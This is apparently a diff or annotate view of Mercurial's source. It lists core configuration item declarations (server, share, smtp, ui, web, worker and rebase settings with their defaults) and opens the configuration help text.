2192 default=False,
2193 )
2193 )
2194 coreconfigitem(
2194 coreconfigitem(
2195 b'server',
2195 b'server',
2196 b'view',
2196 b'view',
2197 default=b'served',
2197 default=b'served',
2198 )
2198 )
2199 coreconfigitem(
2199 coreconfigitem(
2200 b'server',
2200 b'server',
2201 b'validate',
2201 b'validate',
2202 default=False,
2202 default=False,
2203 )
2203 )
2204 coreconfigitem(
2204 coreconfigitem(
2205 b'server',
2205 b'server',
2206 b'zliblevel',
2206 b'zliblevel',
2207 default=-1,
2207 default=-1,
2208 )
2208 )
2209 coreconfigitem(
2209 coreconfigitem(
2210 b'server',
2210 b'server',
2211 b'zstdlevel',
2211 b'zstdlevel',
2212 default=3,
2212 default=3,
2213 )
2213 )
2214 coreconfigitem(
2214 coreconfigitem(
2215 b'share',
2215 b'share',
2216 b'pool',
2216 b'pool',
2217 default=None,
2217 default=None,
2218 )
2218 )
2219 coreconfigitem(
2219 coreconfigitem(
2220 b'share',
2220 b'share',
2221 b'poolnaming',
2221 b'poolnaming',
2222 default=b'identity',
2222 default=b'identity',
2223 )
2223 )
2224 coreconfigitem(
2224 coreconfigitem(
2225 b'share',
2225 b'share',
2226 b'safe-mismatch.source-not-safe',
2226 b'safe-mismatch.source-not-safe',
2227 default=b'abort',
2227 default=b'abort',
2228 )
2228 )
2229 coreconfigitem(
2229 coreconfigitem(
2230 b'share',
2230 b'share',
2231 b'safe-mismatch.source-safe',
2231 b'safe-mismatch.source-safe',
2232 default=b'abort',
2232 default=b'abort',
2233 )
2233 )
2234 coreconfigitem(
2234 coreconfigitem(
2235 b'share',
2235 b'share',
2236 b'safe-mismatch.source-not-safe.warn',
2236 b'safe-mismatch.source-not-safe.warn',
2237 default=True,
2237 default=True,
2238 )
2238 )
2239 coreconfigitem(
2239 coreconfigitem(
2240 b'share',
2240 b'share',
2241 b'safe-mismatch.source-safe.warn',
2241 b'safe-mismatch.source-safe.warn',
2242 default=True,
2242 default=True,
2243 )
2243 )
2244 coreconfigitem(
2244 coreconfigitem(
2245 b'share',
2245 b'share',
2246 b'safe-mismatch.source-not-safe:verbose-upgrade',
2246 b'safe-mismatch.source-not-safe:verbose-upgrade',
2247 default=True,
2247 default=True,
2248 )
2248 )
2249 coreconfigitem(
2249 coreconfigitem(
2250 b'share',
2250 b'share',
2251 b'safe-mismatch.source-safe:verbose-upgrade',
2251 b'safe-mismatch.source-safe:verbose-upgrade',
2252 default=True,
2252 default=True,
2253 )
2253 )
2254 coreconfigitem(
2254 coreconfigitem(
2255 b'shelve',
2255 b'shelve',
2256 b'maxbackups',
2256 b'maxbackups',
2257 default=10,
2257 default=10,
2258 )
2258 )
2259 coreconfigitem(
2259 coreconfigitem(
2260 b'smtp',
2260 b'smtp',
2261 b'host',
2261 b'host',
2262 default=None,
2262 default=None,
2263 )
2263 )
2264 coreconfigitem(
2264 coreconfigitem(
2265 b'smtp',
2265 b'smtp',
2266 b'local_hostname',
2266 b'local_hostname',
2267 default=None,
2267 default=None,
2268 )
2268 )
2269 coreconfigitem(
2269 coreconfigitem(
2270 b'smtp',
2270 b'smtp',
2271 b'password',
2271 b'password',
2272 default=None,
2272 default=None,
2273 )
2273 )
2274 coreconfigitem(
2274 coreconfigitem(
2275 b'smtp',
2275 b'smtp',
2276 b'port',
2276 b'port',
2277 default=dynamicdefault,
2277 default=dynamicdefault,
2278 )
2278 )
2279 coreconfigitem(
2279 coreconfigitem(
2280 b'smtp',
2280 b'smtp',
2281 b'tls',
2281 b'tls',
2282 default=b'none',
2282 default=b'none',
2283 )
2283 )
2284 coreconfigitem(
2284 coreconfigitem(
2285 b'smtp',
2285 b'smtp',
2286 b'username',
2286 b'username',
2287 default=None,
2287 default=None,
2288 )
2288 )
2289 coreconfigitem(
2289 coreconfigitem(
2290 b'sparse',
2290 b'sparse',
2291 b'missingwarning',
2291 b'missingwarning',
2292 default=True,
2292 default=True,
2293 experimental=True,
2293 experimental=True,
2294 )
2294 )
2295 coreconfigitem(
2295 coreconfigitem(
2296 b'subrepos',
2296 b'subrepos',
2297 b'allowed',
2297 b'allowed',
2298 default=dynamicdefault, # to make backporting simpler
2298 default=dynamicdefault, # to make backporting simpler
2299 )
2299 )
2300 coreconfigitem(
2300 coreconfigitem(
2301 b'subrepos',
2301 b'subrepos',
2302 b'hg:allowed',
2302 b'hg:allowed',
2303 default=dynamicdefault,
2303 default=dynamicdefault,
2304 )
2304 )
2305 coreconfigitem(
2305 coreconfigitem(
2306 b'subrepos',
2306 b'subrepos',
2307 b'git:allowed',
2307 b'git:allowed',
2308 default=dynamicdefault,
2308 default=dynamicdefault,
2309 )
2309 )
2310 coreconfigitem(
2310 coreconfigitem(
2311 b'subrepos',
2311 b'subrepos',
2312 b'svn:allowed',
2312 b'svn:allowed',
2313 default=dynamicdefault,
2313 default=dynamicdefault,
2314 )
2314 )
2315 coreconfigitem(
2315 coreconfigitem(
2316 b'templates',
2316 b'templates',
2317 b'.*',
2317 b'.*',
2318 default=None,
2318 default=None,
2319 generic=True,
2319 generic=True,
2320 )
2320 )
2321 coreconfigitem(
2321 coreconfigitem(
2322 b'templateconfig',
2322 b'templateconfig',
2323 b'.*',
2323 b'.*',
2324 default=dynamicdefault,
2324 default=dynamicdefault,
2325 generic=True,
2325 generic=True,
2326 )
2326 )
2327 coreconfigitem(
2327 coreconfigitem(
2328 b'trusted',
2328 b'trusted',
2329 b'groups',
2329 b'groups',
2330 default=list,
2330 default=list,
2331 )
2331 )
2332 coreconfigitem(
2332 coreconfigitem(
2333 b'trusted',
2333 b'trusted',
2334 b'users',
2334 b'users',
2335 default=list,
2335 default=list,
2336 )
2336 )
2337 coreconfigitem(
2337 coreconfigitem(
2338 b'ui',
2338 b'ui',
2339 b'_usedassubrepo',
2339 b'_usedassubrepo',
2340 default=False,
2340 default=False,
2341 )
2341 )
2342 coreconfigitem(
2342 coreconfigitem(
2343 b'ui',
2343 b'ui',
2344 b'allowemptycommit',
2344 b'allowemptycommit',
2345 default=False,
2345 default=False,
2346 )
2346 )
2347 coreconfigitem(
2347 coreconfigitem(
2348 b'ui',
2348 b'ui',
2349 b'archivemeta',
2349 b'archivemeta',
2350 default=True,
2350 default=True,
2351 )
2351 )
2352 coreconfigitem(
2352 coreconfigitem(
2353 b'ui',
2353 b'ui',
2354 b'askusername',
2354 b'askusername',
2355 default=False,
2355 default=False,
2356 )
2356 )
2357 coreconfigitem(
2357 coreconfigitem(
2358 b'ui',
2358 b'ui',
2359 b'available-memory',
2359 b'available-memory',
2360 default=None,
2360 default=None,
2361 )
2361 )
2362
2362
2363 coreconfigitem(
2363 coreconfigitem(
2364 b'ui',
2364 b'ui',
2365 b'clonebundlefallback',
2365 b'clonebundlefallback',
2366 default=False,
2366 default=False,
2367 )
2367 )
2368 coreconfigitem(
2368 coreconfigitem(
2369 b'ui',
2369 b'ui',
2370 b'clonebundleprefers',
2370 b'clonebundleprefers',
2371 default=list,
2371 default=list,
2372 )
2372 )
2373 coreconfigitem(
2373 coreconfigitem(
2374 b'ui',
2374 b'ui',
2375 b'clonebundles',
2375 b'clonebundles',
2376 default=True,
2376 default=True,
2377 )
2377 )
2378 coreconfigitem(
2378 coreconfigitem(
2379 b'ui',
2379 b'ui',
2380 b'color',
2380 b'color',
2381 default=b'auto',
2381 default=b'auto',
2382 )
2382 )
2383 coreconfigitem(
2383 coreconfigitem(
2384 b'ui',
2384 b'ui',
2385 b'commitsubrepos',
2385 b'commitsubrepos',
2386 default=False,
2386 default=False,
2387 )
2387 )
2388 coreconfigitem(
2388 coreconfigitem(
2389 b'ui',
2389 b'ui',
2390 b'debug',
2390 b'debug',
2391 default=False,
2391 default=False,
2392 )
2392 )
2393 coreconfigitem(
2393 coreconfigitem(
2394 b'ui',
2394 b'ui',
2395 b'debugger',
2395 b'debugger',
2396 default=None,
2396 default=None,
2397 )
2397 )
2398 coreconfigitem(
2398 coreconfigitem(
2399 b'ui',
2399 b'ui',
2400 b'editor',
2400 b'editor',
2401 default=dynamicdefault,
2401 default=dynamicdefault,
2402 )
2402 )
2403 coreconfigitem(
2403 coreconfigitem(
2404 b'ui',
2404 b'ui',
2405 b'detailed-exit-code',
2405 b'detailed-exit-code',
2406 default=False,
2406 default=False,
2407 experimental=True,
2407 experimental=True,
2408 )
2408 )
2409 coreconfigitem(
2409 coreconfigitem(
2410 b'ui',
2410 b'ui',
2411 b'fallbackencoding',
2411 b'fallbackencoding',
2412 default=None,
2412 default=None,
2413 )
2413 )
2414 coreconfigitem(
2414 coreconfigitem(
2415 b'ui',
2415 b'ui',
2416 b'forcecwd',
2416 b'forcecwd',
2417 default=None,
2417 default=None,
2418 )
2418 )
2419 coreconfigitem(
2419 coreconfigitem(
2420 b'ui',
2420 b'ui',
2421 b'forcemerge',
2421 b'forcemerge',
2422 default=None,
2422 default=None,
2423 )
2423 )
2424 coreconfigitem(
2424 coreconfigitem(
2425 b'ui',
2425 b'ui',
2426 b'formatdebug',
2426 b'formatdebug',
2427 default=False,
2427 default=False,
2428 )
2428 )
2429 coreconfigitem(
2429 coreconfigitem(
2430 b'ui',
2430 b'ui',
2431 b'formatjson',
2431 b'formatjson',
2432 default=False,
2432 default=False,
2433 )
2433 )
2434 coreconfigitem(
2434 coreconfigitem(
2435 b'ui',
2435 b'ui',
2436 b'formatted',
2436 b'formatted',
2437 default=None,
2437 default=None,
2438 )
2438 )
2439 coreconfigitem(
2439 coreconfigitem(
2440 b'ui',
2440 b'ui',
2441 b'interactive',
2441 b'interactive',
2442 default=None,
2442 default=None,
2443 )
2443 )
2444 coreconfigitem(
2444 coreconfigitem(
2445 b'ui',
2445 b'ui',
2446 b'interface',
2446 b'interface',
2447 default=None,
2447 default=None,
2448 )
2448 )
2449 coreconfigitem(
2449 coreconfigitem(
2450 b'ui',
2450 b'ui',
2451 b'interface.chunkselector',
2451 b'interface.chunkselector',
2452 default=None,
2452 default=None,
2453 )
2453 )
2454 coreconfigitem(
2454 coreconfigitem(
2455 b'ui',
2455 b'ui',
2456 b'large-file-limit',
2456 b'large-file-limit',
2457 default=10 * (2 ** 20),
2457 default=10 * (2 ** 20),
2458 )
2458 )
2459 coreconfigitem(
2459 coreconfigitem(
2460 b'ui',
2460 b'ui',
2461 b'logblockedtimes',
2461 b'logblockedtimes',
2462 default=False,
2462 default=False,
2463 )
2463 )
2464 coreconfigitem(
2464 coreconfigitem(
2465 b'ui',
2465 b'ui',
2466 b'merge',
2466 b'merge',
2467 default=None,
2467 default=None,
2468 )
2468 )
2469 coreconfigitem(
2469 coreconfigitem(
2470 b'ui',
2470 b'ui',
2471 b'mergemarkers',
2471 b'mergemarkers',
2472 default=b'basic',
2472 default=b'basic',
2473 )
2473 )
2474 coreconfigitem(
2474 coreconfigitem(
2475 b'ui',
2475 b'ui',
2476 b'message-output',
2476 b'message-output',
2477 default=b'stdio',
2477 default=b'stdio',
2478 )
2478 )
2479 coreconfigitem(
2479 coreconfigitem(
2480 b'ui',
2480 b'ui',
2481 b'nontty',
2481 b'nontty',
2482 default=False,
2482 default=False,
2483 )
2483 )
2484 coreconfigitem(
2484 coreconfigitem(
2485 b'ui',
2485 b'ui',
2486 b'origbackuppath',
2486 b'origbackuppath',
2487 default=None,
2487 default=None,
2488 )
2488 )
2489 coreconfigitem(
2489 coreconfigitem(
2490 b'ui',
2490 b'ui',
2491 b'paginate',
2491 b'paginate',
2492 default=True,
2492 default=True,
2493 )
2493 )
2494 coreconfigitem(
2494 coreconfigitem(
2495 b'ui',
2495 b'ui',
2496 b'patch',
2496 b'patch',
2497 default=None,
2497 default=None,
2498 )
2498 )
2499 coreconfigitem(
2499 coreconfigitem(
2500 b'ui',
2500 b'ui',
2501 b'portablefilenames',
2501 b'portablefilenames',
2502 default=b'warn',
2502 default=b'warn',
2503 )
2503 )
2504 coreconfigitem(
2504 coreconfigitem(
2505 b'ui',
2505 b'ui',
2506 b'promptecho',
2506 b'promptecho',
2507 default=False,
2507 default=False,
2508 )
2508 )
2509 coreconfigitem(
2509 coreconfigitem(
2510 b'ui',
2510 b'ui',
2511 b'quiet',
2511 b'quiet',
2512 default=False,
2512 default=False,
2513 )
2513 )
2514 coreconfigitem(
2514 coreconfigitem(
2515 b'ui',
2515 b'ui',
2516 b'quietbookmarkmove',
2516 b'quietbookmarkmove',
2517 default=False,
2517 default=False,
2518 )
2518 )
2519 coreconfigitem(
2519 coreconfigitem(
2520 b'ui',
2520 b'ui',
2521 b'relative-paths',
2521 b'relative-paths',
2522 default=b'legacy',
2522 default=b'legacy',
2523 )
2523 )
2524 coreconfigitem(
2524 coreconfigitem(
2525 b'ui',
2525 b'ui',
2526 b'remotecmd',
2526 b'remotecmd',
2527 default=b'hg',
2527 default=b'hg',
2528 )
2528 )
2529 coreconfigitem(
2529 coreconfigitem(
2530 b'ui',
2530 b'ui',
2531 b'report_untrusted',
2531 b'report_untrusted',
2532 default=True,
2532 default=True,
2533 )
2533 )
2534 coreconfigitem(
2534 coreconfigitem(
2535 b'ui',
2535 b'ui',
2536 b'rollback',
2536 b'rollback',
2537 default=True,
2537 default=True,
2538 )
2538 )
2539 coreconfigitem(
2539 coreconfigitem(
2540 b'ui',
2540 b'ui',
2541 b'signal-safe-lock',
2541 b'signal-safe-lock',
2542 default=True,
2542 default=True,
2543 )
2543 )
2544 coreconfigitem(
2544 coreconfigitem(
2545 b'ui',
2545 b'ui',
2546 b'slash',
2546 b'slash',
2547 default=False,
2547 default=False,
2548 )
2548 )
2549 coreconfigitem(
2549 coreconfigitem(
2550 b'ui',
2550 b'ui',
2551 b'ssh',
2551 b'ssh',
2552 default=b'ssh',
2552 default=b'ssh',
2553 )
2553 )
2554 coreconfigitem(
2554 coreconfigitem(
2555 b'ui',
2555 b'ui',
2556 b'ssherrorhint',
2556 b'ssherrorhint',
2557 default=None,
2557 default=None,
2558 )
2558 )
2559 coreconfigitem(
2559 coreconfigitem(
2560 b'ui',
2560 b'ui',
2561 b'statuscopies',
2561 b'statuscopies',
2562 default=False,
2562 default=False,
2563 )
2563 )
2564 coreconfigitem(
2564 coreconfigitem(
2565 b'ui',
2565 b'ui',
2566 b'strict',
2566 b'strict',
2567 default=False,
2567 default=False,
2568 )
2568 )
2569 coreconfigitem(
2569 coreconfigitem(
2570 b'ui',
2570 b'ui',
2571 b'style',
2571 b'style',
2572 default=b'',
2572 default=b'',
2573 )
2573 )
2574 coreconfigitem(
2574 coreconfigitem(
2575 b'ui',
2575 b'ui',
2576 b'supportcontact',
2576 b'supportcontact',
2577 default=None,
2577 default=None,
2578 )
2578 )
2579 coreconfigitem(
2579 coreconfigitem(
2580 b'ui',
2580 b'ui',
2581 b'textwidth',
2581 b'textwidth',
2582 default=78,
2582 default=78,
2583 )
2583 )
2584 coreconfigitem(
2584 coreconfigitem(
2585 b'ui',
2585 b'ui',
2586 b'timeout',
2586 b'timeout',
2587 default=b'600',
2587 default=b'600',
2588 )
2588 )
2589 coreconfigitem(
2589 coreconfigitem(
2590 b'ui',
2590 b'ui',
2591 b'timeout.warn',
2591 b'timeout.warn',
2592 default=0,
2592 default=0,
2593 )
2593 )
2594 coreconfigitem(
2594 coreconfigitem(
2595 b'ui',
2595 b'ui',
2596 b'timestamp-output',
2596 b'timestamp-output',
2597 default=False,
2597 default=False,
2598 )
2598 )
2599 coreconfigitem(
2599 coreconfigitem(
2600 b'ui',
2600 b'ui',
2601 b'traceback',
2601 b'traceback',
2602 default=False,
2602 default=False,
2603 )
2603 )
2604 coreconfigitem(
2604 coreconfigitem(
2605 b'ui',
2605 b'ui',
2606 b'tweakdefaults',
2606 b'tweakdefaults',
2607 default=False,
2607 default=False,
2608 )
2608 )
2609 coreconfigitem(b'ui', b'username', alias=[(b'ui', b'user')])
2609 coreconfigitem(b'ui', b'username', alias=[(b'ui', b'user')])
2610 coreconfigitem(
2610 coreconfigitem(
2611 b'ui',
2611 b'ui',
2612 b'verbose',
2612 b'verbose',
2613 default=False,
2613 default=False,
2614 )
2614 )
2615 coreconfigitem(
2615 coreconfigitem(
2616 b'verify',
2616 b'verify',
2617 b'skipflags',
2617 b'skipflags',
2618 default=0,
2618 default=0,
2619 )
2619 )
2620 coreconfigitem(
2620 coreconfigitem(
2621 b'web',
2621 b'web',
2622 b'allowbz2',
2622 b'allowbz2',
2623 default=False,
2623 default=False,
2624 )
2624 )
2625 coreconfigitem(
2625 coreconfigitem(
2626 b'web',
2626 b'web',
2627 b'allowgz',
2627 b'allowgz',
2628 default=False,
2628 default=False,
2629 )
2629 )
2630 coreconfigitem(
2630 coreconfigitem(
2631 b'web',
2631 b'web',
2632 b'allow-pull',
2632 b'allow-pull',
2633 alias=[(b'web', b'allowpull')],
2633 alias=[(b'web', b'allowpull')],
2634 default=True,
2634 default=True,
2635 )
2635 )
2636 coreconfigitem(
2636 coreconfigitem(
2637 b'web',
2637 b'web',
2638 b'allow-push',
2638 b'allow-push',
2639 alias=[(b'web', b'allow_push')],
2639 alias=[(b'web', b'allow_push')],
2640 default=list,
2640 default=list,
2641 )
2641 )
2642 coreconfigitem(
2642 coreconfigitem(
2643 b'web',
2643 b'web',
2644 b'allowzip',
2644 b'allowzip',
2645 default=False,
2645 default=False,
2646 )
2646 )
2647 coreconfigitem(
2647 coreconfigitem(
2648 b'web',
2648 b'web',
2649 b'archivesubrepos',
2649 b'archivesubrepos',
2650 default=False,
2650 default=False,
2651 )
2651 )
2652 coreconfigitem(
2652 coreconfigitem(
2653 b'web',
2653 b'web',
2654 b'cache',
2654 b'cache',
2655 default=True,
2655 default=True,
2656 )
2656 )
2657 coreconfigitem(
2657 coreconfigitem(
2658 b'web',
2658 b'web',
2659 b'comparisoncontext',
2659 b'comparisoncontext',
2660 default=5,
2660 default=5,
2661 )
2661 )
2662 coreconfigitem(
2662 coreconfigitem(
2663 b'web',
2663 b'web',
2664 b'contact',
2664 b'contact',
2665 default=None,
2665 default=None,
2666 )
2666 )
2667 coreconfigitem(
2667 coreconfigitem(
2668 b'web',
2668 b'web',
2669 b'deny_push',
2669 b'deny_push',
2670 default=list,
2670 default=list,
2671 )
2671 )
2672 coreconfigitem(
2672 coreconfigitem(
2673 b'web',
2673 b'web',
2674 b'guessmime',
2674 b'guessmime',
2675 default=False,
2675 default=False,
2676 )
2676 )
2677 coreconfigitem(
2677 coreconfigitem(
2678 b'web',
2678 b'web',
2679 b'hidden',
2679 b'hidden',
2680 default=False,
2680 default=False,
2681 )
2681 )
2682 coreconfigitem(
2682 coreconfigitem(
2683 b'web',
2683 b'web',
2684 b'labels',
2684 b'labels',
2685 default=list,
2685 default=list,
2686 )
2686 )
2687 coreconfigitem(
2687 coreconfigitem(
2688 b'web',
2688 b'web',
2689 b'logoimg',
2689 b'logoimg',
2690 default=b'hglogo.png',
2690 default=b'hglogo.png',
2691 )
2691 )
2692 coreconfigitem(
2692 coreconfigitem(
2693 b'web',
2693 b'web',
2694 b'logourl',
2694 b'logourl',
2695 default=b'https://mercurial-scm.org/',
2695 default=b'https://mercurial-scm.org/',
2696 )
2696 )
2697 coreconfigitem(
2697 coreconfigitem(
2698 b'web',
2698 b'web',
2699 b'accesslog',
2699 b'accesslog',
2700 default=b'-',
2700 default=b'-',
2701 )
2701 )
2702 coreconfigitem(
2702 coreconfigitem(
2703 b'web',
2703 b'web',
2704 b'address',
2704 b'address',
2705 default=b'',
2705 default=b'',
2706 )
2706 )
2707 coreconfigitem(
2707 coreconfigitem(
2708 b'web',
2708 b'web',
2709 b'allow-archive',
2709 b'allow-archive',
2710 alias=[(b'web', b'allow_archive')],
2710 alias=[(b'web', b'allow_archive')],
2711 default=list,
2711 default=list,
2712 )
2712 )
2713 coreconfigitem(
2713 coreconfigitem(
2714 b'web',
2714 b'web',
2715 b'allow_read',
2715 b'allow_read',
2716 default=list,
2716 default=list,
2717 )
2717 )
2718 coreconfigitem(
2718 coreconfigitem(
2719 b'web',
2719 b'web',
2720 b'baseurl',
2720 b'baseurl',
2721 default=None,
2721 default=None,
2722 )
2722 )
2723 coreconfigitem(
2723 coreconfigitem(
2724 b'web',
2724 b'web',
2725 b'cacerts',
2725 b'cacerts',
2726 default=None,
2726 default=None,
2727 )
2727 )
2728 coreconfigitem(
2728 coreconfigitem(
2729 b'web',
2729 b'web',
2730 b'certificate',
2730 b'certificate',
2731 default=None,
2731 default=None,
2732 )
2732 )
2733 coreconfigitem(
2733 coreconfigitem(
2734 b'web',
2734 b'web',
2735 b'collapse',
2735 b'collapse',
2736 default=False,
2736 default=False,
2737 )
2737 )
2738 coreconfigitem(
2738 coreconfigitem(
2739 b'web',
2739 b'web',
2740 b'csp',
2740 b'csp',
2741 default=None,
2741 default=None,
2742 )
2742 )
2743 coreconfigitem(
2743 coreconfigitem(
2744 b'web',
2744 b'web',
2745 b'deny_read',
2745 b'deny_read',
2746 default=list,
2746 default=list,
2747 )
2747 )
2748 coreconfigitem(
2748 coreconfigitem(
2749 b'web',
2749 b'web',
2750 b'descend',
2750 b'descend',
2751 default=True,
2751 default=True,
2752 )
2752 )
2753 coreconfigitem(
2753 coreconfigitem(
2754 b'web',
2754 b'web',
2755 b'description',
2755 b'description',
2756 default=b"",
2756 default=b"",
2757 )
2757 )
2758 coreconfigitem(
2758 coreconfigitem(
2759 b'web',
2759 b'web',
2760 b'encoding',
2760 b'encoding',
2761 default=lambda: encoding.encoding,
2761 default=lambda: encoding.encoding,
2762 )
2762 )
2763 coreconfigitem(
2763 coreconfigitem(
2764 b'web',
2764 b'web',
2765 b'errorlog',
2765 b'errorlog',
2766 default=b'-',
2766 default=b'-',
2767 )
2767 )
2768 coreconfigitem(
2768 coreconfigitem(
2769 b'web',
2769 b'web',
2770 b'ipv6',
2770 b'ipv6',
2771 default=False,
2771 default=False,
2772 )
2772 )
2773 coreconfigitem(
2773 coreconfigitem(
2774 b'web',
2774 b'web',
2775 b'maxchanges',
2775 b'maxchanges',
2776 default=10,
2776 default=10,
2777 )
2777 )
2778 coreconfigitem(
2778 coreconfigitem(
2779 b'web',
2779 b'web',
2780 b'maxfiles',
2780 b'maxfiles',
2781 default=10,
2781 default=10,
2782 )
2782 )
2783 coreconfigitem(
2783 coreconfigitem(
2784 b'web',
2784 b'web',
2785 b'maxshortchanges',
2785 b'maxshortchanges',
2786 default=60,
2786 default=60,
2787 )
2787 )
2788 coreconfigitem(
2788 coreconfigitem(
2789 b'web',
2789 b'web',
2790 b'motd',
2790 b'motd',
2791 default=b'',
2791 default=b'',
2792 )
2792 )
2793 coreconfigitem(
2793 coreconfigitem(
2794 b'web',
2794 b'web',
2795 b'name',
2795 b'name',
2796 default=dynamicdefault,
2796 default=dynamicdefault,
2797 )
2797 )
2798 coreconfigitem(
2798 coreconfigitem(
2799 b'web',
2799 b'web',
2800 b'port',
2800 b'port',
2801 default=8000,
2801 default=8000,
2802 )
2802 )
2803 coreconfigitem(
2803 coreconfigitem(
2804 b'web',
2804 b'web',
2805 b'prefix',
2805 b'prefix',
2806 default=b'',
2806 default=b'',
2807 )
2807 )
2808 coreconfigitem(
2808 coreconfigitem(
2809 b'web',
2809 b'web',
2810 b'push_ssl',
2810 b'push_ssl',
2811 default=True,
2811 default=True,
2812 )
2812 )
2813 coreconfigitem(
2813 coreconfigitem(
2814 b'web',
2814 b'web',
2815 b'refreshinterval',
2815 b'refreshinterval',
2816 default=20,
2816 default=20,
2817 )
2817 )
2818 coreconfigitem(
2818 coreconfigitem(
2819 b'web',
2819 b'web',
2820 b'server-header',
2820 b'server-header',
2821 default=None,
2821 default=None,
2822 )
2822 )
2823 coreconfigitem(
2823 coreconfigitem(
2824 b'web',
2824 b'web',
2825 b'static',
2825 b'static',
2826 default=None,
2826 default=None,
2827 )
2827 )
2828 coreconfigitem(
2828 coreconfigitem(
2829 b'web',
2829 b'web',
2830 b'staticurl',
2830 b'staticurl',
2831 default=None,
2831 default=None,
2832 )
2832 )
2833 coreconfigitem(
2833 coreconfigitem(
2834 b'web',
2834 b'web',
2835 b'stripes',
2835 b'stripes',
2836 default=1,
2836 default=1,
2837 )
2837 )
2838 coreconfigitem(
2838 coreconfigitem(
2839 b'web',
2839 b'web',
2840 b'style',
2840 b'style',
2841 default=b'paper',
2841 default=b'paper',
2842 )
2842 )
2843 coreconfigitem(
2843 coreconfigitem(
2844 b'web',
2844 b'web',
2845 b'templates',
2845 b'templates',
2846 default=None,
2846 default=None,
2847 )
2847 )
2848 coreconfigitem(
2848 coreconfigitem(
2849 b'web',
2849 b'web',
2850 b'view',
2850 b'view',
2851 default=b'served',
2851 default=b'served',
2852 experimental=True,
2852 experimental=True,
2853 )
2853 )
2854 coreconfigitem(
2854 coreconfigitem(
2855 b'worker',
2855 b'worker',
2856 b'backgroundclose',
2856 b'backgroundclose',
2857 default=dynamicdefault,
2857 default=dynamicdefault,
2858 )
2858 )
2859 # Windows defaults to a limit of 512 open files. A buffer of 128
2859 # Windows defaults to a limit of 512 open files. A buffer of 128
2860 # should give us enough headway.
2860 # should give us enough headway.
2861 coreconfigitem(
2861 coreconfigitem(
2862 b'worker',
2862 b'worker',
2863 b'backgroundclosemaxqueue',
2863 b'backgroundclosemaxqueue',
2864 default=384,
2864 default=384,
2865 )
2865 )
2866 coreconfigitem(
2866 coreconfigitem(
2867 b'worker',
2867 b'worker',
2868 b'backgroundcloseminfilecount',
2868 b'backgroundcloseminfilecount',
2869 default=2048,
2869 default=2048,
2870 )
2870 )
2871 coreconfigitem(
2871 coreconfigitem(
2872 b'worker',
2872 b'worker',
2873 b'backgroundclosethreadcount',
2873 b'backgroundclosethreadcount',
2874 default=4,
2874 default=4,
2875 )
2875 )
2876 coreconfigitem(
2876 coreconfigitem(
2877 b'worker',
2877 b'worker',
2878 b'enabled',
2878 b'enabled',
2879 default=True,
2879 default=True,
2880 )
2880 )
2881 coreconfigitem(
2881 coreconfigitem(
2882 b'worker',
2882 b'worker',
2883 b'numcpus',
2883 b'numcpus',
2884 default=None,
2884 default=None,
2885 )
2885 )
2886
2886
2887 # Rebase related configuration moved to core because other extension are doing
2887 # Rebase related configuration moved to core because other extension are doing
2888 # strange things. For example, shelve import the extensions to reuse some bit
2888 # strange things. For example, shelve import the extensions to reuse some bit
2889 # without formally loading it.
2889 # without formally loading it.
2890 coreconfigitem(
2890 coreconfigitem(
2891 b'commands',
2891 b'commands',
2892 b'rebase.requiredest',
2892 b'rebase.requiredest',
2893 default=False,
2893 default=False,
2894 )
2894 )
2895 coreconfigitem(
2895 coreconfigitem(
2896 b'experimental',
2896 b'experimental',
2897 b'rebaseskipobsolete',
2897 b'rebaseskipobsolete',
2898 default=True,
2898 default=True,
2899 )
2899 )
2900 coreconfigitem(
2900 coreconfigitem(
2901 b'rebase',
2901 b'rebase',
2902 b'singletransaction',
2902 b'singletransaction',
2903 default=False,
2903 default=False,
2904 )
2904 )
2905 coreconfigitem(
2905 coreconfigitem(
2906 b'rebase',
2906 b'rebase',
2907 b'experimental.inmemory',
2907 b'experimental.inmemory',
2908 default=False,
2908 default=False,
2909 )
2909 )
2910
2910
2911 # This setting controls creation of a rebase_source extra field
2911 # This setting controls creation of a rebase_source extra field
2912 # during rebase. When False, no such field is created. This is
2912 # during rebase. When False, no such field is created. This is
2913 # useful eg for incrementally converting changesets and then
2913 # useful eg for incrementally converting changesets and then
2914 # rebasing them onto an existing repo.
2914 # rebasing them onto an existing repo.
2915 # WARNING: this is an advanced setting reserved for people who know
2915 # WARNING: this is an advanced setting reserved for people who know
2916 # exactly what they are doing. Misuse of this setting can easily
2916 # exactly what they are doing. Misuse of this setting can easily
2917 # result in obsmarker cycles and a vivid headache.
2917 # result in obsmarker cycles and a vivid headache.
2918 coreconfigitem(
2918 coreconfigitem(
2919 b'rebase',
2919 b'rebase',
2920 b'store-source',
2920 b'store-source',
2921 default=True,
2921 default=True,
2922 experimental=True,
2922 experimental=True,
2923 )
2923 )
@@ -1,3383 +1,3383 b''
1 The Mercurial system uses a set of configuration files to control
1 The Mercurial system uses a set of configuration files to control
2 aspects of its behavior.
2 aspects of its behavior.
3
3
4 Troubleshooting
4 Troubleshooting
5 ===============
5 ===============
6
6
7 If you're having problems with your configuration,
7 If you're having problems with your configuration,
8 :hg:`config --source` can help you understand what is introducing
8 :hg:`config --source` can help you understand what is introducing
9 a setting into your environment.
9 a setting into your environment.
10
10
11 See :hg:`help config.syntax` and :hg:`help config.files`
11 See :hg:`help config.syntax` and :hg:`help config.files`
12 for information about how and where to override things.
12 for information about how and where to override things.
13
13
14 Structure
14 Structure
15 =========
15 =========
16
16
17 The configuration files use a simple ini-file format. A configuration
17 The configuration files use a simple ini-file format. A configuration
18 file consists of sections, led by a ``[section]`` header and followed
18 file consists of sections, led by a ``[section]`` header and followed
19 by ``name = value`` entries::
19 by ``name = value`` entries::
20
20
21 [ui]
21 [ui]
22 username = Firstname Lastname <firstname.lastname@example.net>
22 username = Firstname Lastname <firstname.lastname@example.net>
23 verbose = True
23 verbose = True
24
24
25 The above entries will be referred to as ``ui.username`` and
25 The above entries will be referred to as ``ui.username`` and
26 ``ui.verbose``, respectively. See :hg:`help config.syntax`.
26 ``ui.verbose``, respectively. See :hg:`help config.syntax`.
27
27
28 Files
28 Files
29 =====
29 =====
30
30
31 Mercurial reads configuration data from several files, if they exist.
31 Mercurial reads configuration data from several files, if they exist.
32 These files do not exist by default and you will have to create the
32 These files do not exist by default and you will have to create the
33 appropriate configuration files yourself:
33 appropriate configuration files yourself:
34
34
35 Local configuration is put into the per-repository ``<repo>/.hg/hgrc`` file.
35 Local configuration is put into the per-repository ``<repo>/.hg/hgrc`` file.
36
36
37 Global configuration like the username setting is typically put into:
37 Global configuration like the username setting is typically put into:
38
38
39 .. container:: windows
39 .. container:: windows
40
40
41 - ``%USERPROFILE%\mercurial.ini`` (on Windows)
